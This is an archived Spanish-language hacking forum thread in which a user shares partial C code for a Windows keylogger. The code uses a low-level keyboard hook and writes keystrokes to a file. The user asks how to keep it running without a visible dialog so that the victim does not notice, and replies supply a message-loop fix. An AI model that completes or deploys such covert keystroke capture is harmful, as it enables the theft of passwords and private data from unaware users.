elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Keylogger en C (Windows Hooks)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en C (Windows Hooks)  (Leído 4,539 veces)
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Keylogger en C (Windows Hooks)
« en: 6 Julio 2013, 18:36 pm »

Buenas, he escrito un keylogger en C usando hooks y tengo un pequeño problema, a ver si alguien me puede ayudar.
Ésto es parte de la función principal (WinMain) de mi keylogger
Código:
f = fopen ("C:/KEYS.TXT", "a+");
if (f==NULL){
exit(0);
}

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

MessageBox(NULL, L"Click to exit", L"Keylogger", NULL);

        UnhookWindowsHookEx(keyboardHook);
fclose(f);
return 0;

Tengo que utilizar MessageBox() porque necesito que el programa se ejecute infinitamente. Aún así, MessageBox() no es muy bueno para mi keylogger ya que muestra un mensaje por pantalla (como es lógico). Aún así, he estado buscando y no encuentro otra función (o líneas de código) que hagan que el hook permanezca siempre sin que el usuario se de cuenta.

Mi código compila y guarda todo lo que el usuario escribe en un fichero. Aún así, el problema es éste que describo, que mientras el keylogger se está ejecutando, se muestra por pantalla el cuadro de diálogo originado por MessageBox().

A ver si alguien tiene alguna idea.

Gracias! ;)
En línea

640k deberian ser suficientes para todo el mundo..
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.084



Ver Perfil WWW
Re: Keylogger en C (Windows Hooks)
« Respuesta #1 en: 6 Julio 2013, 18:52 pm »

Esta API envez de MessageBox

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644936%28v=vs.85%29.aspx

En línea

Un byte a la izquierda.
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Re: Keylogger en C (Windows Hooks)
« Respuesta #2 en: 8 Julio 2013, 13:31 pm »

Lo que he hecho es utilizar GetMessage, transaltemessage y dispatchmessage de la siguiente forma. Supongo que es éso a lo que te refieres, aun asi, me sigue sin funcionar.

Código:

MSG msg;

HHOOK keyboardHook = SetWindowsHookEx (WH_KEYBOARD_LL, HookKey, hInstance, 0);

while(1){
  GetMessage(&msg, NULL, 0, 0);
  TranslateMessage(&msg);
  DispatchMessage(&msg);

Ésto compila correctamente y también se ejecuta. Aún así, ahora ya no me loggea los caracteres guardándolos en el fichero tal y como hacia antes cuando utilizaba el MessageBox().

En línea

640k deberian ser suficientes para todo el mundo..
The Swash

Desconectado Desconectado

Mensajes: 194


Programmer


Ver Perfil WWW
Re: Keylogger en C (Windows Hooks)
« Respuesta #3 en: 9 Julio 2013, 03:09 am »

Estás consultando una cola de mensajes así que deberías hacerlo así:
Código
  1. while(GetMessage(&Msg, NULL, 0, 0) > 0)
  2. {
  3.    TranslateMessage(&Msg);
  4.    DispatchMessage(&Msg);
  5. }

Saludos.
En línea

goto C

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Keylogger en C (Windows Hooks)
« Respuesta #4 en: 17 Noviembre 2013, 11:42 am »

Hola, ars1993, tienes un mensaje privado que te he mandado, o eso creo jaja.

Por favor, estoy muy interesado en estos temas, estoy dispuesto a ayudar, ¿¿¿alguien podría pasarme o indicarme de dónde sacar algún código de keylogger en C??? O cualquier malware escrito en C...

Muchas gracias. Un saludo.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
KeyLogger con hooks, no captura las teclas altgr, alt, arroba
Programación Visual Basic
rubenpaz 7 7,348 Último mensaje 3 Julio 2011, 04:30 am
por x64core
Problema con caracteres al utilizar Hooks (Keylogger)
Análisis y Diseño de Malware
darkaos 3 3,743 Último mensaje 25 Noviembre 2011, 15:39 pm
por fary
Keylogger Hooks « 1 2 »
Análisis y Diseño de Malware
W0lFy 12 10,471 Último mensaje 12 Febrero 2012, 18:44 pm
por Иōҳ
keylogger para windows 8
Windows
Cergath 0 2,148 Último mensaje 16 Septiembre 2013, 15:51 pm
por Cergath
Mi Keylogger no funciona al iniciar Windows
Programación C/C++
Trollwer 3 3,842 Último mensaje 5 Diciembre 2020, 00:54 am
por Trollwer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines